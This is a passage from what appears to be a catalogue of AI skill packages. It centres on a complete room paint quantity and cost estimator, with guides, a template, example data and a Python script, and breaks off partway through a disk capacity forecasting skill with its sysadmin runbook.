return 1 if any(x["status"] in ("CRITICAL", "HIGH") for x in out["containers"]) else 0
if __name__ == "__main__":
sys.exit(main())Defines a strict, versioned, markdown-first vault system for managing reusable prompts as production instruments, with mandatory file contracts, INDEX.md catalog, Git changelog rules, and operating modes for stand-up, promote, version, retire, and audit.
1You are the Prompt Vault Manager.23You are the working records officer for a private, versioned, markdown-first prompt vault. You treat prompts as production instruments: each receives a home, a stable ID, a version, a status, an owner, and a path an agent can load.45Knowledge Profile:6- Git as the durable changelog.7- Markdown + YAML frontmatter as the contract.8- Distinguishing prompts (reusable text) from skills (agent-loadable procedures).9- Naming that is a job, not a vibe.10...+92 more lines
Works out how much paint to buy for one or more rooms and what it will cost. Measures walls (minus doors and windows) and ceilings, applies coats, coverage, texture and waste, adds up each paint across rooms, and picks the cheapest can mix with little left over. Flags dark-to-light changes and new plaster that need primer, one-coat plans, suspicious coverage or heights and big leftovers. Includes a stdlib Python estimator with --self-test.
---
name: room-paint-quantity-estimator
description: Works out how much paint to buy for one or more rooms and what it will cost. Measures walls (minus doors and windows) and ceilings, applies coats, coverage, texture and waste, adds up each paint across rooms, and picks the cheapest can mix with little left over. Flags dark-to-light changes and new plaster that need primer, one-coat plans, suspicious coverage or heights and big leftovers. Includes a stdlib Python estimator with --self-test.
---
# Room Paint Quantity Estimator
You help people repainting a home buy the right amount of paint the first time: not three trips to the shop, not a garage full of half-empty cans. From room sizes and the paints they picked, you calculate areas, litres (or gallons), the cheapest cans to buy and the total cost, and you point out the prep steps that change the numbers, such as primer over dark colours or new plaster.
## Files in this skill
- `scripts/paint_estimate.py` - calculates areas, paint per surface, the cheapest can mix per paint, leftovers, total cost and findings (Python 3 standard library only)
- `references/measuring-and-coverage.md` - how to measure rooms, standard door and window sizes, coverage on the label vs reality, texture factors, coats and primer rules
- `references/painting-prep-and-buying-guide.md` - prep order, primer types, finishes per room, tools list, buying tips, storing leftovers
- `templates/paint-shopping-list.md` - a shopping list and room plan to print or take to the shop
- `examples/two-bedroom-flat-refresh.json` - four rooms in a flat with a dark bedroom going light, new drywall in the kids room and three paints in Turkish lira
## Workflow
### 1. Gather the rooms
Ask for each room: length, width and ceiling height, number and size of doors and windows (or use the standard sizes in `references/measuring-and-coverage.md`), which surfaces to paint (walls, ceiling), the current colour (light, medium, dark), the new colour, wall texture, and whether any surface is new plaster or drywall. Ask for the paints with coverage per coat from the can label and the can sizes and prices at their shop. Use metric unless they work in feet and gallons.
### 2. Run the estimator
```
python3 scripts/paint_estimate.py examples/two-bedroom-flat-refresh.json
python3 scripts/paint_estimate.py job.json --json
python3 scripts/paint_estimate.py --self-test
```
Exit code 1 means HIGH findings (measurements that cannot be right, no can mix), 2 means bad input.
### 3. Adjust the plan
Act on findings: add primer (and its own quantity, using its coverage) for DARK_TO_LIGHT and NEW_SURFACE, or raise coats to 3; change one-coat plans to two unless the paint is sold as one-coat over the same colour. Re-run after each change. Use `references/painting-prep-and-buying-guide.md` for finish and tool advice.
### 4. Deliver
Fill `templates/paint-shopping-list.md` with the cans to buy, primer, tools and the order of work. Remind them to buy all cans of one colour from the same batch, or mix (box) them before use.
## Example result
For `examples/two-bedroom-flat-refresh.json`: walls in warm white need 20.87 L -> 1 x 15 L + 1 x 7.5 L (3,640 TRY); the kids room sage green needs 6.87 L -> 1 x 7.5 L (1,450 TRY); ceilings need 8.75 L -> 3 x 3.5 L (1,380 TRY); total 6,470 TRY before primer and tools. Findings: the dark main bedroom needs primer or a third coat, the new drywall in the kids room needs a mist coat or primer, and its one-coat ceiling will look patchy.
## Rules
- Use the coverage printed on the user's paint, not a generic number, whenever they have it.
- Round up to whole cans; never suggest stretching paint by thinning beyond the maker's instructions.
- Mention safety where it matters: ventilation, ladders on stable ground, lead paint testing in homes built before about 1980 before sanding.
- Prices are what the user gives; say that totals exclude primer, tools and labour unless included.
FILE:references/measuring-and-coverage.md
# Measuring and Coverage
## Measuring a room
- Measure length and width at floor level and ceiling height in one or two places; round up to the next 5 cm (or 2 in).
- Wall area = perimeter x height = 2 x (length + width) x height. For L-shaped rooms, add each wall's width x height instead.
- Ceiling area = length x width (add sloped parts separately).
- Subtract doors and windows; leave in anything smaller than about 0.5 m2 (5 sq ft), the paint goes on the frame and cutting-in anyway.
## Standard sizes (when the user does not know)
| Item | Metric | Imperial |
|---|---|---|
| Interior door | 0.8-0.9 x 2.0-2.05 m (about 1.8 m2) | 30-36 x 80 in (about 20 sq ft) |
| Balcony / patio door | 1.6-1.8 x 2.2 m | 6 x 6.7 ft |
| Window | 1.2-1.5 x 1.2-1.4 m | 3 x 4 ft (about 12-15 sq ft) |
| Ceiling height | 2.5-2.8 m (new flats), up to 3.5 m (old buildings) | 8-9 ft |
## Coverage
- The label gives coverage per coat, usually 10-14 m2/L for emulsion (about 350-400 sq ft per US gallon). Real-world coverage is often 10-20% lower; the waste allowance (default 10%) covers rollers, trays and touch-ups.
- Texture factors used by the estimator: smooth x1.0, light texture (woodchip, orange peel, thin plaster) x1.1, rough (bare brick, stucco, popcorn) x1.25.
- Fresh plaster and bare drywall soak paint like a sponge: seal first with a mist coat (emulsion thinned as the maker allows) or a drywall primer.
## Coats
| Situation | Plan |
|---|---|
| Same or similar colour, good surface | 2 coats (1 if the paint is sold as one-coat and the colour is the same) |
| Light over dark | stain-blocking or tinted primer + 2 coats, or 3 coats |
| Dark or strong colour over light | grey-tinted primer + 2 coats; reds and yellows can need 3 |
| New plaster or drywall | mist coat or primer + 2 coats |
| Ceiling | 2 coats of ceiling white; 1 coat looks patchy against the light |
## Quick check by hand
Litres = area x coats x texture / coverage x 1.1. Example: 35 m2 of walls, 2 coats, 10 m2/L, smooth -> 7 L before waste, 7.7 L with 10% waste.
FILE:references/painting-prep-and-buying-guide.md
# Painting Prep and Buying Guide
## Order of work
1. Clear and cover: furniture to the middle, floors covered, switch plates off (power off when working near sockets).
2. Repair: fill cracks and holes, sand flush, wipe dust; wash greasy kitchen walls with sugar soap.
3. Prime where needed (stains, repairs, dark colours, new plaster).
4. Ceiling first, then walls, then trim and doors last.
5. Cut in edges with a brush, then roll in sections while the edge is still wet to avoid lines.
6. Let each coat dry for the time on the can (often 2-4 hours for emulsion) before the next.
## Primer
| Problem | Primer |
|---|---|
| Water stains, smoke, marker | stain-blocking primer (shellac or oil-based for bad stains) |
| Light over dark | white or tinted universal primer |
| New plaster | mist coat or plaster sealer |
| New drywall | drywall (PVA) primer |
| Glossy old paint | sand lightly, then adhesion primer |
Primer coverage is often 8-12 m2/L; estimate it like a paint with 1 coat.
## Finish by room
| Room | Finish | Why |
|---|---|---|
| Ceilings | flat / matte | hides flaws, no glare |
| Living and bedrooms | matte or eggshell | soft look; washable matte for families |
| Kids rooms, hallways | washable matte or eggshell | scrubbable |
| Kitchens and bathrooms | satin or a kitchen/bathroom paint | moisture and grease resistant |
| Doors and trim | satin or semi-gloss | durable, easy to wipe |
## Tools for a typical flat
Rollers (9 in / 23 cm) with an extension pole, a tray or bucket with a grid, angled brushes (5 cm), masking tape, drop sheets, filler and a knife, sandpaper (120-180 grit), a sturdy step ladder, rags, gloves. One roller sleeve per colour.
## Buying tips
- Price per litre usually drops with bigger cans; the estimator compares the actual shop prices.
- Buy all cans of a colour together (same batch). If you open more than one can, mix them in a bucket (boxing) so the colour matches.
- Keep about 0.5 L of each colour for touch-ups.
- Low-VOC paints reduce smell; keep windows open and take breaks anyway.
## Leftovers
Close lids tightly, store upside down above freezing, label with room and date. Do not pour paint down drains; take dried or liquid paint to the local waste or recycling point.
FILE:templates/paint-shopping-list.md
# Paint Shopping List - <home / project> - <date>
**Units:** <metric / imperial> **Waste allowance:** <10%> **Shop:** <name>
## Rooms
| Room | Surface | Area | Coats | Paint | Notes (primer, repairs) |
|---|---|---|---|---|---|
| | | | | | |
## Paint to buy
| Paint (brand, colour code, finish) | Needed | Cans | Price |
|---|---|---|---|
| | | | |
## Primer and supplies
- [ ] Primer: <type>, <qty>
- [ ] Rollers <n>, sleeves <n>, tray, extension pole
- [ ] Brushes <sizes>, masking tape <rolls>, drop sheets <n>
- [ ] Filler, sandpaper, sugar soap
**Total estimate:** <paint> + <primer and supplies> = <total>
## Work order
1. Prep and repairs: <rooms>
2. Primer: <rooms>
3. Ceilings: <rooms>
4. Walls: <rooms>
5. Trim and doors: <rooms>
FILE:examples/two-bedroom-flat-refresh.json
{
"name": "two-bedroom flat refresh before moving in (example prices)",
"units": "metric",
"currency": "TRY",
"waste": 0.1,
"paints": {
"wall matte warm white": {"coverage": 11, "cans": [{"size": 15, "price": 2350}, {"size": 7.5, "price": 1290}, {"size": 2.5, "price": 520}]},
"sage green (kids room)": {"coverage": 10, "cans": [{"size": 7.5, "price": 1450}, {"size": 2.5, "price": 590}, {"size": 0.75, "price": 240}]},
"ceiling white": {"coverage": 12, "cans": [{"size": 15, "price": 1650}, {"size": 3.5, "price": 460}]}
},
"rooms": [
{"name": "living room", "length": 5.4, "width": 4.2, "height": 2.7,
"openings": [{"type": "door", "w": 0.9, "h": 2.05}, {"type": "balcony door", "w": 1.8, "h": 2.2}, {"type": "window", "w": 1.5, "h": 1.4}],
"walls": {"paint": "wall matte warm white", "coats": 2}, "ceiling": {"paint": "ceiling white", "coats": 2}},
{"name": "main bedroom", "length": 4.0, "width": 3.5, "height": 2.7, "previous": "dark", "new": "light",
"openings": [{"type": "door", "w": 0.9, "h": 2.05}, {"type": "window", "w": 1.4, "h": 1.4}],
"walls": {"paint": "wall matte warm white", "coats": 2}, "ceiling": {"paint": "ceiling white", "coats": 2}},
{"name": "kids room", "length": 3.4, "width": 3.0, "height": 2.7, "new_surface": true,
"openings": [{"type": "door", "w": 0.8, "h": 2.05}, {"type": "window", "w": 1.2, "h": 1.4}],
"walls": {"paint": "sage green (kids room)", "coats": 2}, "ceiling": {"paint": "ceiling white", "coats": 1}},
{"name": "hallway", "length": 4.5, "width": 1.2, "height": 2.7, "texture": "light",
"openings": [{"type": "doors", "w": 0.9, "h": 2.05, "count": 5}],
"walls": {"paint": "wall matte warm white", "coats": 2}, "ceiling": {"paint": "ceiling white", "coats": 2}}
]
}
FILE:scripts/paint_estimate.py
#!/usr/bin/env python3
"""Room paint quantity and cost estimator (Python 3 standard library only).
Input: a painting job JSON file:
{"units": "metric", "waste": 0.1, "currency": "TRY",
"paints": {"wall white": {"coverage": 11, "cans": [{"size": 10, "price": 1450}, {"size": 2.5, "price": 450}]}},
"rooms": [{"name": "living room", "length": 5.2, "width": 4.1, "height": 2.7,
"openings": [{"type": "door", "w": 0.9, "h": 2.05}, {"type": "window", "w": 1.6, "h": 1.4, "count": 2}],
"walls": {"paint": "wall white", "coats": 2},
"ceiling": {"paint": "ceiling white", "coats": 2},
"texture": "smooth", "previous": "dark", "new": "light", "new_surface": false}]}
units: metric (m, m2, coverage m2 per litre, cans in litres) or imperial (ft, sq ft,
coverage sq ft per US gallon, cans in gallons). coverage = per coat, from the paint can.
Areas: walls = 2 x (length + width) x height - openings; ceiling = length x width.
texture: smooth (x1.0), light (x1.1, e.g. woodchip, orange peel), rough (x1.25, brick, stucco)
multiplies the paint needed. waste (default 0.10) adds rollers, trays, touch-ups.
Volume per surface = area x coats x texture / coverage x (1 + waste); volumes for the same paint
are added up across rooms, then the cheapest can mix that covers it is chosen (fewer litres
left over on ties).
Findings: OPENINGS_TOO_LARGE (HIGH), NO_CAN_MIX (HIGH), DARK_TO_LIGHT and NEW_SURFACE
(MEDIUM: primer or an extra coat), ONE_COAT, COVERAGE_SUSPECT, ODD_HEIGHT, BIG_LEFTOVER (LOW).
Usage:
python3 paint_estimate.py job.json
python3 paint_estimate.py job.json --json
python3 paint_estimate.py --self-test
Exit code: 0 OK, 1 HIGH findings, 2 bad input.
"""
import argparse
import json
import math
import sys
TEXTURE = {"smooth": 1.0, "light": 1.1, "rough": 1.25}
UNITS = {"metric": {"len": "m", "area": "m2", "vol": "L", "cov": (6, 16), "height": (2.2, 4.0)},
"imperial": {"len": "ft", "area": "sq ft", "vol": "gal", "cov": (250, 450), "height": (7.0, 13.0)}}
LIGHTNESS = {"light": 0, "medium": 1, "dark": 2}
class JobError(ValueError):
pass
def num(x, what, minimum=0.0, strict=True):
if isinstance(x, bool) or not isinstance(x, (int, float)) or (x <= minimum if strict else x < minimum):
raise JobError(f"{what} must be a number {'>' if strict else '>='} {minimum:g}")
return float(x)
def best_mix(need, cans):
"""Cheapest combination of cans with total size >= need; ties -> less leftover, fewer cans."""
cans = sorted(cans, key=lambda c: -c["size"])
best = None
def rec(i, vol, cost, picked):
nonlocal best
if vol >= need - 1e-9:
key = (round(cost, 6), round(vol - need, 6), sum(picked))
if best is None or key < best[0]:
best = (key, list(picked), vol, cost)
return
if i == len(cans) or (best is not None and cost > best[0][0] + 1e-9):
return
c = cans[i]
top = math.ceil((need - vol) / c["size"] - 1e-9)
for k in ([top] if i == len(cans) - 1 else range(top, -1, -1)):
picked.append(k)
rec(i + 1, vol + k * c["size"], cost + k * c["price"], picked)
picked.pop()
if need <= 0:
return {"cans": [], "volume": 0.0, "cost": 0.0, "leftover": 0.0}
rec(0, 0.0, 0.0, [])
if best is None:
return None
_, picked, vol, cost = best
return {"cans": [{"size": c["size"], "count": k, "price": c["price"]} for c, k in zip(cans, picked) if k],
"volume": vol, "cost": cost, "leftover": vol - need}
def estimate(job):
units = str(job.get("units", "metric")).lower()
if units not in UNITS:
raise JobError("units must be metric or imperial")
U = UNITS[units]
waste = num(job.get("waste", 0.1), "waste", 0, strict=False)
paints = job.get("paints") or {}
if not paints:
raise JobError("paints is empty")
for pname, p in paints.items():
num(p.get("coverage"), f"paint {pname!r} coverage")
if not p.get("cans"):
raise JobError(f"paint {pname!r} has no cans")
for c in p["cans"]:
num(c.get("size"), f"paint {pname!r} can size")
num(c.get("price", 0), f"paint {pname!r} can price", 0, strict=False)
rooms = job.get("rooms") or []
if not rooms:
raise JobError("rooms is empty")
findings, lines, need = [], [], {}
def f(sev, code, where, msg):
findings.append({"severity": sev, "code": code, "where": where, "message": msg})
for r in rooms:
name = r.get("name") or "room"
L, W, H = (num(r.get(k), f"{name}: {k}") for k in ("length", "width", "height"))
if not U["height"][0] <= H <= U["height"][1]:
f("LOW", "ODD_HEIGHT", name, f"height {H:g} {U['len']} is unusual; check the unit and the measurement")
tex = str(r.get("texture", "smooth")).lower()
if tex not in TEXTURE:
raise JobError(f"{name}: texture must be smooth, light or rough")
openings = 0.0
for o in r.get("openings") or []:
cnt = o.get("count", 1)
if not isinstance(cnt, int) or isinstance(cnt, bool) or cnt < 0:
raise JobError(f"{name}: opening count must be a whole number >= 0")
openings += num(o.get("w"), f"{name}: opening w") * num(o.get("h"), f"{name}: opening h") * cnt
gross = 2 * (L + W) * H
surfaces = {"walls": gross - openings, "ceiling": L * W}
if openings >= gross * 0.6:
f("HIGH", "OPENINGS_TOO_LARGE", name, f"openings {openings:.1f} {U['area']} are {openings / gross:.0%} of the walls; check the measurements")
surfaces["walls"] = max(surfaces["walls"], 0.0)
prev, new = r.get("previous"), r.get("new")
for sname in ("walls", "ceiling"):
s = r.get(sname)
if not s:
continue
pname = s.get("paint")
if pname not in paints:
raise JobError(f"{name} {sname}: unknown paint {pname!r}")
coats = s.get("coats", 2)
if not isinstance(coats, int) or isinstance(coats, bool) or coats < 1:
raise JobError(f"{name} {sname}: coats must be a whole number >= 1")
cov = float(paints[pname]["coverage"])
primer = bool(s.get("primer"))
if sname == "walls" and prev in LIGHTNESS and new in LIGHTNESS and LIGHTNESS[prev] - LIGHTNESS[new] >= 2 and coats < 3 and not primer:
f("MEDIUM", "DARK_TO_LIGHT", name, "dark to light colour change: add a stain-blocking primer or a third coat")
if r.get("new_surface") and not primer and coats < 3:
f("MEDIUM", "NEW_SURFACE", name, f"new plaster or drywall on the {sname}: seal with a mist coat or primer first (it soaks up paint)")
if coats == 1:
f("LOW", "ONE_COAT", f"{name} {sname}", "one coat usually looks patchy; plan two")
vol = surfaces[sname] * coats * TEXTURE[tex] / cov * (1 + waste)
need[pname] = need.get(pname, 0.0) + vol
lines.append({"room": name, "surface": sname, "area": round(surfaces[sname], 2), "coats": coats,
"paint": pname, "texture": tex, "volume": round(vol, 2)})
for pname, p in paints.items():
lo, hi = U["cov"]
if pname in need and not lo <= p["coverage"] <= hi:
f("LOW", "COVERAGE_SUSPECT", pname, f"coverage {p['coverage']:g} {U['area']}/{U['vol']} per coat is outside the usual {lo}-{hi}; check the label")
buys, total = [], 0.0
for pname in sorted(need):
mix = best_mix(round(need[pname], 4), paints[pname]["cans"])
if mix is None:
f("HIGH", "NO_CAN_MIX", pname, "no can combination found")
continue
total += mix["cost"]
buys.append(dict(mix, paint=pname, need=round(need[pname], 2)))
if mix["volume"] and mix["leftover"] > 0.3 * mix["volume"] and mix["leftover"] > 1:
f("LOW", "BIG_LEFTOVER", pname, f"{mix['leftover']:.1f} {U['vol']} left over; keep it for touch-ups or check smaller can prices")
rank = {"HIGH": 0, "MEDIUM": 1, "LOW": 2}
findings.sort(key=lambda x: rank[x["severity"]])
return {"name": job.get("name", "painting job"), "units": units, "currency": job.get("currency", ""),
"waste": waste, "lines": lines, "buy": buys, "total_cost": round(total, 2), "findings": findings}
def g(x):
return f"{x:.2f}".rstrip("0").rstrip(".")
def report(res):
U = UNITS[res["units"]]
cur = res["currency"]
out = [f"# Paint estimate: {res['name']}", "",
f"Units: {res['units']} ({U['area']}, {U['vol']}); waste allowance {res['waste']:.0%}", "",
f"| Room | Surface | Area ({U['area']}) | Coats | Paint | Texture | Paint needed ({U['vol']}) |", "|---|---|---|---|---|---|---|"]
for l in res["lines"]:
out.append(f"| {l['room']} | {l['surface']} | {g(l['area'])} | {l['coats']} | {l['paint']} | {l['texture']} | {g(l['volume'])} |")
out += ["", "## Shopping list", f"| Paint | Needed ({U['vol']}) | Buy | Bought ({U['vol']}) | Left over | Cost |", "|---|---|---|---|---|---|"]
for b in res["buy"]:
mix = " + ".join(f"{c['count']} x {g(c['size'])} {U['vol']}" for c in b["cans"])
out.append(f"| {b['paint']} | {g(b['need'])} | {mix} | {g(b['volume'])} | {g(b['leftover'])} | {g(b['cost'])} {cur} |")
out += ["", f"**Total paint cost: {g(res['total_cost'])} {cur}** (primer, tape, rollers and fillers not included)", "", "## Findings"]
if not res["findings"]:
out.append("- none")
for x in res["findings"]:
out.append(f"- **{x['severity']} {x['code']}** ({x['where']}): {x['message']}")
return "\n".join(out) + "\n"
def self_test():
cases = []
def ok(name, cond):
cases.append(bool(cond))
print(("PASS " if cond else "FAIL ") + name)
cans = [{"size": 10, "price": 100}, {"size": 2.5, "price": 30}]
m = best_mix(11, cans)
ok("11 L -> 10 + 2.5 for 130", m["cost"] == 130 and m["volume"] == 12.5)
m = best_mix(8, cans)
ok("8 L -> one 10 L (100 < 4 x 30)", m["cans"] == [{"size": 10, "count": 1, "price": 100}])
m = best_mix(7, cans)
ok("7 L -> 3 x 2.5 for 90", m["cost"] == 90 and m["leftover"] == 0.5)
ok("tie prefers less leftover", best_mix(2, [{"size": 4, "price": 10}, {"size": 2, "price": 10}])["volume"] == 2)
ok("zero need buys nothing", best_mix(0, cans)["cans"] == [])
base = {"waste": 0, "paints": {"w": {"coverage": 10, "cans": cans}},
"rooms": [{"name": "r", "length": 4, "width": 3, "height": 2.5, "walls": {"paint": "w", "coats": 2}}]}
r = estimate(base)
ok("wall area 2x(4+3)x2.5 = 35", r["lines"][0]["area"] == 35)
ok("35 m2 x 2 coats / 10 = 7 L", r["lines"][0]["volume"] == 7)
ok("clean job has no findings", r["findings"] == [] and r["total_cost"] == 90)
j = json.loads(json.dumps(base)); j["rooms"][0]["openings"] = [{"w": 0.9, "h": 2, "count": 1}, {"w": 1.2, "h": 1.25, "count": 2}]
ok("openings subtracted (35 - 1.8 - 3 = 30.2)", estimate(j)["lines"][0]["area"] == 30.2)
j = json.loads(json.dumps(base)); j["rooms"][0]["ceiling"] = {"paint": "w", "coats": 1}
r = estimate(j)
ok("ceiling area 12 and one-coat flagged", r["lines"][1]["area"] == 12 and any(x["code"] == "ONE_COAT" for x in r["findings"]))
ok("same paint summed across surfaces", r["buy"][0]["need"] == 8.2)
j = json.loads(json.dumps(base)); j["waste"] = 0.1; j["rooms"][0]["texture"] = "rough"
ok("rough + 10% waste: 7 x 1.25 x 1.1", estimate(j)["lines"][0]["volume"] == 9.62)
j = json.loads(json.dumps(base)); j["rooms"][0].update(previous="dark", new="light")
ok("dark to light flagged", any(x["code"] == "DARK_TO_LIGHT" for x in estimate(j)["findings"]))
j["rooms"][0]["walls"]["primer"] = True
ok("primer clears dark to light", not any(x["code"] == "DARK_TO_LIGHT" for x in estimate(j)["findings"]))
j = json.loads(json.dumps(base)); j["rooms"][0]["new_surface"] = True
ok("new surface flagged", any(x["code"] == "NEW_SURFACE" for x in estimate(j)["findings"]))
j = json.loads(json.dumps(base)); j["rooms"][0]["openings"] = [{"w": 3, "h": 2.5, "count": 4}]
ok("openings too large flagged", any(x["code"] == "OPENINGS_TOO_LARGE" for x in estimate(j)["findings"]))
j = json.loads(json.dumps(base)); j["paints"]["w"]["coverage"] = 30
ok("coverage suspect flagged", any(x["code"] == "COVERAGE_SUSPECT" for x in estimate(j)["findings"]))
j = json.loads(json.dumps(base)); j["rooms"][0]["height"] = 8
ok("metric height 8 m flagged", any(x["code"] == "ODD_HEIGHT" for x in estimate(j)["findings"]))
imp = {"units": "imperial", "waste": 0, "paints": {"w": {"coverage": 350, "cans": [{"size": 1, "price": 40}, {"size": 5, "price": 170}]}},
"rooms": [{"name": "r", "length": 12, "width": 10, "height": 8, "walls": {"paint": "w", "coats": 2}}]}
r = estimate(imp)
ok("imperial 352 sq ft x2 / 350 -> 2.01 gal -> 3 x 1 gal", r["lines"][0]["area"] == 352 and r["buy"][0]["cans"] == [{"size": 1, "count": 3, "price": 40}])
j = json.loads(json.dumps(base)); j["paints"]["w"]["cans"] = [{"size": 1, "price": 5}]; j["rooms"][0]["length"] = 40
ok("big leftover not flagged for exact fit", not any(x["code"] == "BIG_LEFTOVER" for x in estimate(j)["findings"]))
j = json.loads(json.dumps(base)); j["paints"]["w"]["cans"] = [{"size": 20, "price": 150}]
ok("big leftover flagged (20 L for 7 L)", any(x["code"] == "BIG_LEFTOVER" for x in estimate(j)["findings"]))
for mut, label in ((lambda j: j.update(units="cubits"), "bad units"), (lambda j: j.update(paints={}), "no paints"),
(lambda j: j["rooms"][0].update(height=0), "zero height"),
(lambda j: j["rooms"][0]["walls"].update(paint="x"), "unknown paint"),
(lambda j: j["rooms"][0]["walls"].update(coats=1.5), "fractional coats"),
(lambda j: j["rooms"][0].update(texture="glitter"), "bad texture"),
(lambda j: j.update(rooms=[]), "no rooms")):
j = json.loads(json.dumps(base))
mut(j)
try:
estimate(j)
ok(label + " rejected", False)
except JobError:
ok(label + " rejected", True)
print(f"{sum(cases)}/{len(cases)} passed")
return 0 if all(cases) else 1
def main(argv=None):
ap = argparse.ArgumentParser(description="Estimate paint quantity, cans to buy and cost for rooms.")
ap.add_argument("file", nargs="?", help="painting job JSON")
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args(argv)
if a.self_test:
return self_test()
if not a.file:
ap.error("give a job JSON file or --self-test")
try:
res = estimate(json.load(open(a.file, encoding="utf-8")))
except (OSError, json.JSONDecodeError, JobError, AttributeError, TypeError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(res, indent=2) if a.json else report(res), end="\n" if a.json else "")
return 1 if any(x["severity"] == "HIGH" for x in res["findings"]) else 0
if __name__ == "__main__":
sys.exit(main())Forecasts when disks and volumes will fill up from usage samples (CSV of timestamp, volume, used and size). Fits overall and last-week growth rates, removes one-off jumps from the trend, and gives days and dates to 80, 90, 95 and 100% full plus a size that keeps 90 days of headroom. Flags volumes filling soon, accelerating growth, sudden jumps, noisy trends and thin data. Includes a stdlib Python forecaster with --self-test.
---
name: disk-capacity-runway-forecaster
description: Forecasts when disks and volumes will fill up from usage samples (CSV of timestamp, volume, used and size). Fits overall and last-week growth rates, removes one-off jumps from the trend, and gives days and dates to 80, 90, 95 and 100% full plus a size that keeps 90 days of headroom. Flags volumes filling soon, accelerating growth, sudden jumps, noisy trends and thin data. Includes a stdlib Python forecaster with --self-test.
---
# Disk Capacity Runway Forecaster
You help on-call engineers and sysadmins answer "when will this disk fill up, and what should we do before then?" From usage samples exported from monitoring (Prometheus, CloudWatch, Datadog, Zabbix, a cron job running `df`), you compute the runway for each volume, rank volumes by urgency, explain why a forecast can be wrong, and propose concrete fixes: clean up, rotate, resize or move data.
## Files in this skill
- `scripts/disk_runway.py` - reads a CSV of samples, fits growth rates, and prints a ranked runway table with findings and suggested sizes (Python 3 standard library only)
- `references/forecasting-method.md` - how the trend, recent rate, one-off jumps, runway and suggested size are computed, and the limits of a linear forecast
- `references/disk-full-runbook.md` - finding what grows, safe cleanups, log and backup retention, resizing on Linux and in the cloud, alert thresholds
- `templates/capacity-review.md` - a capacity review to share with the team or attach to a ticket
- `examples/fleet-disk-usage.csv` - three weeks of daily samples for four volumes: a steady database, a log volume with rotation, a CI runner speeding up and a backup NAS with a one-off jump
## Workflow
### 1. Collect samples
Ask for at least a week (better 3-4 weeks) of samples per volume: timestamp, volume (host:mount), used GB and size GB. Example sources: Prometheus `node_filesystem_size_bytes - node_filesystem_avail_bytes`, CloudWatch `disk_used_percent` with the volume size, or `df -BG --output=target,used,size` from cron. Also ask what lives on each volume and about known events (migrations, new backups, releases).
### 2. Run the forecaster
```
python3 scripts/disk_runway.py examples/fleet-disk-usage.csv
python3 scripts/disk_runway.py usage.csv --horizon 180 --json
python3 scripts/disk_runway.py --self-test
```
Exit code 1 means a CRITICAL or HIGH volume, 2 means bad input.
### 3. Explain and act
Start with CRITICAL and HIGH volumes. For each, say what is growing and how fast, the date it hits 90% and 100%, and the fastest safe action from `references/disk-full-runbook.md`. Treat NOISY_TREND and FEW_SAMPLES results as rough. For SUDDEN_JUMP, confirm the cause (a new backup set, a database dump, a log burst) before planning around it. Use `references/forecasting-method.md` to explain why the recent rate may win over the long-term trend.
### 4. Deliver
Fill `templates/capacity-review.md` with the table, actions, owners and dates, and suggest alert thresholds (for example a warning at 80% or 14 days of runway, a page at 90% or 3 days).
## Example result
For `examples/fleet-disk-usage.csv` (last samples 2026-10-21 06:00): ci-runner01:/ is HIGH, already at 80% and growing 5.6 GB/day in the last week vs 2.1 overall, 90% in 3.6 days and full by 2026-10-28; db01:/var/lib/postgresql grows a steady 3 GB/day and reaches 80% in 13.3 days (MEDIUM, suggested 790 GB); backup-nas had a one-off +405.6 GB jump on 2026-10-16 that is not extrapolated, leaving 120 days to 80%; web01:/var/log is OK but noisy (log rotation).
## Rules
- Never suggest deleting data without saying exactly what, how to check it is safe, and how to recover; prefer rotation, compression, retention policies and resizing.
- Say which rate a date is based on and that linear forecasts miss sudden events.
- Times in the report follow the timestamps in the data; say which time zone they are in.
- Do not run cleanup or resize commands on live systems yourself; give the commands for the user to review.
FILE:references/forecasting-method.md
# Forecasting Method
## Inputs
One row per sample: `timestamp,volume,used_gb,size_gb`. Rows may be unsorted and mixed across volumes. The latest `size_gb` is used, so a resize during the window is handled.
## Growth rates
- **Overall rate:** least-squares slope of used GB over time (GB/day) across all samples. R^2 (0 to 1) says how well a straight line fits: about 1.0 for steady growth, under 0.5 for sawtooth patterns such as log rotation or temp files.
- **Recent rate:** the same slope over the last 7 days (or the last third of the data when there are less than 14 days). It catches growth that has just sped up.
- **Runway rate:** the worse (higher) of the two. When the recent rate is more than 1.5 times the overall rate, the volume is flagged ACCELERATING.
## One-off jumps
A step between two samples larger than 5% of the volume size is treated as a one-off event (a new backup set, a restored dump, a large upload). It stays in the current usage but is removed from the trend: later points are shifted down by the jump minus a typical step, so a single event is not extrapolated forever. The jump is reported as SUDDEN_JUMP so a person can confirm it really was one-off. If it repeats (a weekly full backup), keep longer data so the pattern becomes part of the trend, or plan the next jump explicitly.
## Runway
For each threshold T in 80, 90, 95 and 100%:
`days = (T x size - used now) / runway rate`, counted from the last sample. Zero means the threshold is already passed; "never" means usage is flat or falling.
Dates are the last sample time plus the days, in the same time zone as the data.
## Suggested size
The smallest multiple of 10 GB that keeps usage under 80% for the horizon (default 90 days):
`size >= (used now + runway rate x horizon) / 0.8`, and never smaller than the current size.
Example: 128 GB used, 2 GB/day, 180 days -> (128 + 360) / 0.8 = 610 GB.
## Status levels
| Status | Rule |
|---|---|
| CRITICAL | 95% or more used, or full within 7 days |
| HIGH | 90% within 14 days |
| MEDIUM | 80% within 30 days, or accelerating, or a sudden jump |
| OK | none of the above |
## Limits
- A straight line cannot see future events: a migration, a new customer, a log level left on DEBUG.
- Filesystems often misbehave before 100%: ext4 reserves about 5% for root, databases need free space for vacuum, compaction or index builds, and some write paths fail at 90-95%.
- Inode exhaustion (`df -i`) can fill a disk with plenty of free GB; forecast inodes the same way if many small files are written.
- Thin-provisioned and shared storage (LVM thin pools, SAN, Ceph) can fill underneath a volume that looks fine.
FILE:references/disk-full-runbook.md
# Disk Full Runbook
## 1. Find what grows
```
df -h /mount; df -i /mount # space and inodes
sudo du -xh --max-depth=2 /mount | sort -h | tail -20
sudo find /mount -xdev -type f -size +1G -mtime -7 -exec ls -lh {} +
sudo lsof +L1 # deleted files still held open
journalctl --disk-usage
docker system df # images, containers, volumes, build cache
```
Deleted-but-open files keep their space until the process restarts or reopens the log.
## 2. Safe quick wins (check before deleting)
| Source | Action |
|---|---|
| Application logs | logrotate with `compress`, `maxsize`, `rotate N`; ship logs to central storage |
| systemd journal | `journalctl --vacuum-size=1G`, set `SystemMaxUse=` |
| Docker / CI runners | `docker image prune -a --filter until=168h`, `docker builder prune`; clear runner work dirs |
